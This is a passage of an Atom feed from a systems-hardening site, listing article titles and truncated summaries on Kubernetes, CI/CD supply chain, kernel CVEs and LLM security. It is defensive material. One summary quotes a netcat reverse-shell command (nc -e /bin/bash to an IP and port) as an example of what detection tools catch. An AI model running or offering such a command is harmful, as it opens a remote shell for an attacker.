    <title>Enforcing GitHub Artifact Attestations for SLSA Build Provenance</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-artifact-attestation-enforcement/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-artifact-attestation-enforcement/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Enforcing GitHub Artifact Attestations for SLSA Build Provenance
Problem
Build provenance — a cryptographically verifiable record of where an artifact came from and how it was built — has been a...</summary>
  </entry>
  
  <entry>
    <title>NIS2 Directive Technical Implementation: Incident Reporting, Supply Chain, and Vulnerability Management</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/nis2-directive-technical-compliance/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/nis2-directive-technical-compliance/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>NIS2 Directive Technical Implementation: Incident Reporting, Supply Chain, and Vulnerability Management
Problem
The NIS2 Directive (EU 2022/2555) became enforceable across EU member states from...</summary>
  </entry>
  
  <entry>
    <title>PAM Module Integrity Verification: Detecting Backdoors Like PamDOORa</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/pam-module-integrity-verification/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/pam-module-integrity-verification/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>PAM Module Integrity Verification: Detecting Backdoors Like PamDOORa
The Problem
Every login, every sudo command, every SSH session on a Linux host passes through PAM — the Pluggable Authentication...</summary>
  </entry>
  
  <entry>
    <title>Securing the Kubernetes API Aggregation Layer Against Privilege Escalation</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-apiserver-aggregation-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-apiserver-aggregation-security/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Securing the Kubernetes API Aggregation Layer Against Privilege Escalation
Problem
The Kubernetes API aggregation layer allows operators to register extension API servers that appear as native...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Node Kernel Patch Velocity: Draining and Replacing Nodes at Speed After a Critical CVE</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-node-kernel-patch-velocity/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-node-kernel-patch-velocity/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Node Kernel Patch Velocity: Draining and Replacing Nodes at Speed After a Critical CVE
Problem
A critical kernel CVE drops Monday morning. Your Kubernetes cluster has 300 nodes across three...</summary>
  </entry>
  
  <entry>
    <title>Hardening Linux Against n_gsm TTY GSM Multiplexer Privilege Escalation</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-gsm-tty-exploit-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-gsm-tty-exploit-hardening/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening Linux Against n_gsm TTY GSM Multiplexer Privilege Escalation
Problem
The n_gsm kernel module implements the GSM 07.10 serial multiplexing line discipline. Its purpose is embedded and...</summary>
  </entry>
  
  <entry>
    <title>Dirty Frag: Exploiting the xfrm ESP Page-Cache Write Primitive (CVE-2026-43284/43500)</title>
    <link href="https://www.systemshardening.com/articles/linux/xfrm-kernel-lpe-dirty-frag/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/xfrm-kernel-lpe-dirty-frag/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Dirty Frag: Exploiting the xfrm ESP Page-Cache Write Primitive (CVE-2026-43284/43500)
Problem
CVE-2026-43284 and CVE-2026-43500 were disclosed on May 6, 2026 by researchers at Project Zero and...</summary>
  </entry>
  
  <entry>
    <title>DNSSEC Key Rollover Operational Security: Lessons from the .de TLD Three-Hour Outage</title>
    <link href="https://www.systemshardening.com/articles/network/dnssec-key-rollover-operational-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/dnssec-key-rollover-operational-security/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>DNSSEC Key Rollover Operational Security: Lessons from the .de TLD Three-Hour Outage
Problem
On May 5, 2026, at approximately 09:14 UTC, DENIC — the registry operator for the .de country-code TLD —...</summary>
  </entry>
  
  <entry>
    <title>Defending Against SMTP Smuggling: Hardening Postfix, Exim, and Gateway MTAs</title>
    <link href="https://www.systemshardening.com/articles/network/smtp-smuggling-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/smtp-smuggling-defence/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Defending Against SMTP Smuggling: Hardening Postfix, Exim, and Gateway MTAs
Problem
SMTP request smuggling is a class of email injection vulnerability first described in detail by SEC Consult in late...</summary>
  </entry>
  
  <entry>
    <title>Detecting Developer Credential Harvesting: Monitoring .npmrc, .pypirc, and Cloud Config Files</title>
    <link href="https://www.systemshardening.com/articles/observability/developer-credential-file-monitoring/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/developer-credential-file-monitoring/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting Developer Credential Harvesting: Monitoring .npmrc, .pypirc, and Cloud Config Files
Problem
Developer workstations and CI runners accumulate credentials in predictable locations. Package...</summary>
  </entry>
  
  <entry>
    <title>Detecting and Containing eBPF-Based Rootkits That Blind Your Observability Stack</title>
    <link href="https://www.systemshardening.com/articles/observability/ebpf-rootkit-detection-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ebpf-rootkit-detection-hardening/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detecting and Containing eBPF-Based Rootkits That Blind Your Observability Stack
Problem
eBPF observability tools — Falco, Tetragon, Cilium’s Hubble, and custom BPF programs — have become the dominant...</summary>
  </entry>
  
  <entry>
    <title>What Browser WASM CVEs Teach Server-Side Runtimes: V8 JIT Miscompilation and Isolation Boundaries</title>
    <link href="https://www.systemshardening.com/articles/wasm/browser-wasm-cve-server-runtime-lessons/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/browser-wasm-cve-server-runtime-lessons/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>What Browser WASM CVEs Teach Server-Side Runtimes: V8 JIT Miscompilation and Isolation Boundaries
Problem
CVE-2026-3910 and CVE-2026-2796 are not especially exotic vulnerabilities. CVE-2026-3910,...</summary>
  </entry>
  
  <entry>
    <title>Preventing Sensitive Data Exposure via WebAssembly Coredumps in Production</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-coredump-data-exposure-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-coredump-data-exposure-hardening/</id>
    <published>2026-05-11T00:00:00.000Z</published>
    <updated>2026-05-11T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Preventing Sensitive Data Exposure via WebAssembly Coredumps in Production
Problem
WebAssembly coredumps are a debugging feature that captures the complete state of a Wasm instance at the point of a...</summary>
  </entry>
  
  <entry>
    <title>AI-Assisted Vulnerability Triage for Container Patching: LLM-Powered Copa Prioritisation</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-copa-vulnerability-triage/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-copa-vulnerability-triage/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI-Assisted Vulnerability Triage for Container Patching: LLM-Powered Copa Prioritisation
The Problem
A Trivy scan of a production container image returns 47 CVEs. Twelve are rated CRITICAL. Your...</summary>
  </entry>
  
  <entry>
    <title>Compromising an AI Inference Cluster: Attack Paths Unique to GPU and LLM Kubernetes Deployments</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-inference-cluster-attack-paths/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-inference-cluster-attack-paths/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Compromising an AI Inference Cluster: Attack Paths Unique to GPU and LLM Kubernetes Deployments
The Problem
An AI inference cluster looks like a Kubernetes cluster. It has nodes, namespaces,...</summary>
  </entry>
  
  <entry>
    <title>AI-Powered SSH Session Anomaly Detection: Analysing ContainerSSH Audit Logs with LLMs</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/containerssh-ai-session-analysis/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/containerssh-ai-session-analysis/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI-Powered SSH Session Anomaly Detection: Analysing ContainerSSH Audit Logs with LLMs
The Problem
Your SIEM fires on nc -e /bin/bash 10.0.0.1 4444. Except the attacker isn’t running that exact...</summary>
  </entry>
  
  <entry>
    <title>LLM API Security: Parameter Injection, Token Exhaustion DoS, and Model Abuse Detection</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-api-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-api-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM API Security: Parameter Injection, Token Exhaustion DoS, and Model Abuse Detection
The Problem
LLM APIs are a category of backend service with security properties that differ from every other kind...</summary>
  </entry>
  
  <entry>
    <title>LLM Copy-Paste Vulnerability Propagation: When AI Reproduces Unsafe Memory Copy Patterns</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-copy-paste-vulnerability-propagation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-copy-paste-vulnerability-propagation/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM Copy-Paste Vulnerability Propagation: When AI Reproduces Unsafe Memory Copy Patterns
Problem
Large language models do not invent code — they compress and reproduce patterns from their training...</summary>
  </entry>
  
  <entry>
    <title>LLM Rate Limiting in Kubernetes: Token-Bucket Control for vLLM and TGI at Scale</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-kubernetes-rate-limiting/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-kubernetes-rate-limiting/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM Rate Limiting in Kubernetes: Token-Bucket Control for vLLM and TGI at Scale
The Problem
Standard API rate limiting assumes request equivalence. An nginx limit_req_zone counting requests per...</summary>
  </entry>
  
  <entry>
    <title>Secrets in AI Pipelines: Training Data Credentials, Model Registry Access, and MLOps Secret Sprawl</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mlops-secrets-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mlops-secrets-management/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Secrets in AI Pipelines: Training Data Credentials, Model Registry Access, and MLOps Secret Sprawl
The Problem
ML pipelines are credential-dense by nature. A single training run touches more external...</summary>
  </entry>
  
  <entry>
    <title>GitHub Actions Runner Controller Security: Ephemeral Runners and Pod Isolation in Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/cicd/actions-runner-controller-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/actions-runner-controller-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Actions Runner Controller Security: Ephemeral Runners and Pod Isolation in Kubernetes
The Problem
GitHub Actions Runner Controller is a Kubernetes operator that watches the GitHub API for...</summary>
  </entry>
  
  <entry>
    <title>API Key Lifecycle in CI/CD: Rotation, Scoping, and Detecting Long-Lived Credential Sprawl</title>
    <link href="https://www.systemshardening.com/articles/cicd/api-key-lifecycle-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/api-key-lifecycle-management/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>API Key Lifecycle in CI/CD: Rotation, Scoping, and Detecting Long-Lived Credential Sprawl
The Problem
A Stripe secret key created in 2021 for a now-decommissioned staging pipeline still works today....</summary>
  </entry>
  
  <entry>
    <title>Artifact Copy Integrity: Closing the Substitution Window in Multi-Stage Build Pipelines</title>
    <link href="https://www.systemshardening.com/articles/cicd/artifact-copy-integrity-verification/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/artifact-copy-integrity-verification/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Artifact Copy Integrity: Closing the Substitution Window in Multi-Stage Build Pipelines
Problem
Most pipelines treat artifact promotion as a logistics problem: get the built artifact from the build...</summary>
  </entry>
  
  <entry>
    <title>Artifact Registry Security: Hardening Harbor, ECR, and GCR Against Supply Chain Attacks</title>
    <link href="https://www.systemshardening.com/articles/cicd/artifact-registry-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/artifact-registry-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Artifact Registry Security: Hardening Harbor, ECR, and GCR Against Supply Chain Attacks
The container registry sits at the boundary between build systems and runtime environments. Every production...</summary>
  </entry>
  
  <entry>
    <title>ContainerSSH for CI/CD Pipeline Debugging: Ephemeral, Audited Shell Access to Build Environments</title>
    <link href="https://www.systemshardening.com/articles/cicd/containerssh-cicd-debug-access/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/containerssh-cicd-debug-access/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>ContainerSSH for CI/CD Pipeline Debugging: Ephemeral, Audited Shell Access to Build Environments
Problem
When a GitHub Actions job fails after forty minutes of compilation, or a Tekton Task crashes...</summary>
  </entry>
  
  <entry>
    <title>Copa in CI/CD: Automated Container Patch Pipelines with Trivy, cosign, and GitHub Actions</title>
    <link href="https://www.systemshardening.com/articles/cicd/copa-cicd-patch-automation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/copa-cicd-patch-automation/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Copa in CI/CD: Automated Container Patch Pipelines with Trivy, cosign, and GitHub Actions
Problem
Container scanning in CI solves the wrong half of the problem. Trivy, Grype, and similar tools tell...</summary>
  </entry>
  
  <entry>
    <title>GitHub Actions Supply Chain Hardening: Pinning, Permissions, and OIDC Token Security</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-actions-supply-chain-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-actions-supply-chain-hardening/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Actions Supply Chain Hardening: Pinning, Permissions, and OIDC Token Security
The Threat Surface
GitHub Actions is the dominant CI/CD platform for open source and a large fraction of enterprise...</summary>
  </entry>
  
  <entry>
    <title>Golden Path Security: Building Security In from Day Zero with Paved Road Templates</title>
    <link href="https://www.systemshardening.com/articles/cicd/golden-path-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/golden-path-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Golden Path Security: Building Security In from Day Zero with Paved Road Templates
What “Golden Path” Actually Means for Security
Platform engineering teams talk about golden paths as productivity...</summary>
  </entry>
  
  <entry>
    <title>From Leaked kubeconfig to Full Cluster Takeover: The CI/CD Attack Chain</title>
    <link href="https://www.systemshardening.com/articles/cicd/kubeconfig-leak-cluster-compromise/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/kubeconfig-leak-cluster-compromise/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>From Leaked kubeconfig to Full Cluster Takeover: The CI/CD Attack Chain
The Problem
A kubeconfig file is the complete credential set for Kubernetes API access: it contains the cluster endpoint, the CA...</summary>
  </entry>
  
  <entry>
    <title>OSS-Fuzz and ClusterFuzzLite: Continuous Fuzzing as a Supply Chain Security Control</title>
    <link href="https://www.systemshardening.com/articles/cicd/oss-fuzz-clusterfuzzlite-integration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/oss-fuzz-clusterfuzzlite-integration/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>OSS-Fuzz and ClusterFuzzLite: Continuous Fuzzing as a Supply Chain Security Control
Why Fuzzing Is a Supply Chain Control
The 2021 Log4Shell vulnerability was a remote code execution bug triggered by...</summary>
  </entry>
  
  <entry>
    <title>SBOM Generation and Consumption: CycloneDX, SPDX, and Vulnerability Correlation</title>
    <link href="https://www.systemshardening.com/articles/cicd/sbom-generation-consumption/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/sbom-generation-consumption/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>SBOM Generation and Consumption: CycloneDX, SPDX, and Vulnerability Correlation
Problem
Generating an SBOM is trivial. Running syft my-image:latest -o cyclonedx-json produces a JSON file in seconds....</summary>
  </entry>
  
  <entry>
    <title>Shift-Left Security Tooling: IDE Plugins, Pre-Commit Hooks, and PR Security Gates</title>
    <link href="https://www.systemshardening.com/articles/cicd/shift-left-developer-security-tooling/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/shift-left-developer-security-tooling/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Shift-Left Security Tooling: IDE Plugins, Pre-Commit Hooks, and PR Security Gates
Why Shift-Left: The Economics of Late Detection
IBM’s System Sciences Institute puts the cost multiplier for fixing a...</summary>
  </entry>
  
  <entry>
    <title>SLSA Attestation Verification at Admission: Enforcing Build Provenance in Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/cicd/slsa-attestation-admission-verification/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/slsa-attestation-admission-verification/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>SLSA Attestation Verification at Admission: Enforcing Build Provenance in Kubernetes
The Gap Between Generating and Enforcing
Generating SLSA provenance in CI is the easy part. The...</summary>
  </entry>
  
  <entry>
    <title>SLSA Build Provenance: Verifying Supply Chain Integrity from Source to Deployment</title>
    <link href="https://www.systemshardening.com/articles/cicd/slsa-build-provenance/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/slsa-build-provenance/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>SLSA Build Provenance: Verifying Supply Chain Integrity from Source to Deployment
Problem
A signed artifact tells you that someone you trust signed something. It says nothing about where the source...</summary>
  </entry>
  
  <entry>
    <title>SOPS and Age: Encrypting Secrets in Git Without a Secrets Server</title>
    <link href="https://www.systemshardening.com/articles/cicd/sops-age-gitops-secrets/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/sops-age-gitops-secrets/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>SOPS and Age: Encrypting Secrets in Git Without a Secrets Server
The Problem
GitOps works by treating git as the single source of truth for cluster state. Everything the cluster runs — Deployments,...</summary>
  </entry>
  
  <entry>
    <title>Terraform Security Guardrails: Preventing Cloud Misconfigurations at the Infrastructure Layer</title>
    <link href="https://www.systemshardening.com/articles/cicd/terraform-security-guardrails/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/terraform-security-guardrails/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Terraform Security Guardrails: Preventing Cloud Misconfigurations at the Infrastructure Layer
The Misconfiguration Problem
IaC misconfigurations are not subtle. A public S3 bucket is a public S3...</summary>
  </entry>
  
  <entry>
    <title>API Schema Validation as a Security Control: OpenAPI Enforcement and the Mass Assignment Problem</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/api-schema-validation-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/api-schema-validation-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>API Schema Validation as a Security Control: OpenAPI Enforcement and the Mass Assignment Problem
The Problem
In 2012, Egor Homakov submitted a pull request to Rails that demonstrated how GitHub’s mass...</summary>
  </entry>
  
  <entry>
    <title>AWS IRSA: IAM Roles for Service Accounts and OIDC Workload Identity</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/aws-irsa-workload-identity/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/aws-irsa-workload-identity/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>AWS IRSA: IAM Roles for Service Accounts and OIDC Workload Identity
The Static Credentials Problem
Every Kubernetes workload that talks to AWS needs credentials. The naive approach is to create an IAM...</summary>
  </entry>
  
  <entry>
    <title>Backstage Security Hardening: Locking Down the Developer Portal</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/backstage-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/backstage-security-hardening/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Backstage Security Hardening: Locking Down the Developer Portal
Why Backstage Is a High-Value Target
Backstage is a developer portal framework built by Spotify and donated to the CNCF. It aggregates...</summary>
  </entry>
  
  <entry>
    <title>Container Patch SLA Policy Enforcement: From Severity Tiers to Admission Control</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/container-patch-sla-policy-enforcement/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/container-patch-sla-policy-enforcement/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Container Patch SLA Policy Enforcement: From Severity Tiers to Admission Control
Problem
Most organisations have a container vulnerability management policy. Fewer have one that is enforced. The gap...</summary>
  </entry>
  
  <entry>
    <title>Hardening the ContainerSSH Config and Auth Webhook: Identity Integration and Request Security</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/containerssh-webhook-auth-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/containerssh-webhook-auth-hardening/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Hardening the ContainerSSH Config and Auth Webhook: Identity Integration and Request Security
The Webhook as the Security Perimeter
ContainerSSH’s design is deliberately minimal: it terminates SSH...</summary>
  </entry>
  
  <entry>
    <title>Continuous Authorization: CAEP, RISC, and Real-Time Session Revocation</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/continuous-authorization-caep/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/continuous-authorization-caep/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Continuous Authorization: CAEP, RISC, and Real-Time Session Revocation
The Token Validity Window Problem
OAuth2 access tokens are bearer credentials. Whoever holds a valid token gets access — no...</summary>
  </entry>
  
  <entry>
    <title>Cross-Cloud OIDC Federation: Portable Workload Identity Across AWS, GCP, and Azure</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/cross-cloud-oidc-federation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/cross-cloud-oidc-federation/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Cross-Cloud OIDC Federation: Portable Workload Identity Across AWS, GCP, and Azure
Problem
Every major cloud has its own IAM model. AWS has roles, policies, and STS. GCP has service accounts, Workload...</summary>
  </entry>
  
  <entry>
    <title>Dependency Confusion Attacks: How Private Package Shadowing Works and How to Stop It</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/dependency-confusion-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/dependency-confusion-defence/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>In February 2021, security researcher Alex Birsan published a technique that earned him over $130,000 in bug bounty payouts from 35 companies — including Microsoft, Apple, PayPal, Netflix, Uber, and...</summary>
  </entry>
  
  <entry>
    <title>Device Posture in Zero Trust: Continuous Verification Beyond Username and Password</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/device-posture-continuous-verification/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/device-posture-continuous-verification/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Device Posture in Zero Trust: Continuous Verification Beyond Username and Password
The Problem With Identity-Only Access Control
A valid username and password, or even a valid FIDO2 token, tells you...</summary>
  </entry>
  
  <entry>
    <title>GCP Workload Identity Federation: Credential-Free Access from Any Identity Provider</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/gcp-workload-identity-federation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/gcp-workload-identity-federation/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>GCP Workload Identity Federation: Credential-Free Access from Any Identity Provider
The Service Account Key Problem
Every GCP service account can have up to ten downloadable JSON key files. These...</summary>
  </entry>
  
  <entry>
    <title>IAM Least Privilege Automation: Right-Sizing Permissions with Access Analysis</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/iam-least-privilege-automation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/iam-least-privilege-automation/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>IAM Least Privilege Automation: Right-Sizing Permissions with Access Analysis
Problem
IAM permissions accumulate. Roles that were provisioned with AdministratorAccess to unblock a deployment in 2022...</summary>
  </entry>
  
  <entry>
    <title>Internal Developer Platform Security: Securing the Self-Service Infrastructure Layer</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/internal-developer-platform-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/internal-developer-platform-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Internal Developer Platform Security: Securing the Self-Service Infrastructure Layer
Why the IDP Is a High-Value Target
An Internal Developer Platform aggregates the keys to the kingdom. Backstage...</summary>
  </entry>
  
  <entry>
    <title>Service Account Token Privilege Escalation: How Limited RBAC Becomes Cluster-Admin Without CVEs</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/kubernetes-rbac-privilege-escalation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/kubernetes-rbac-privilege-escalation/</id>
    <published>2026-05-09T00:00:00.000Z</published>
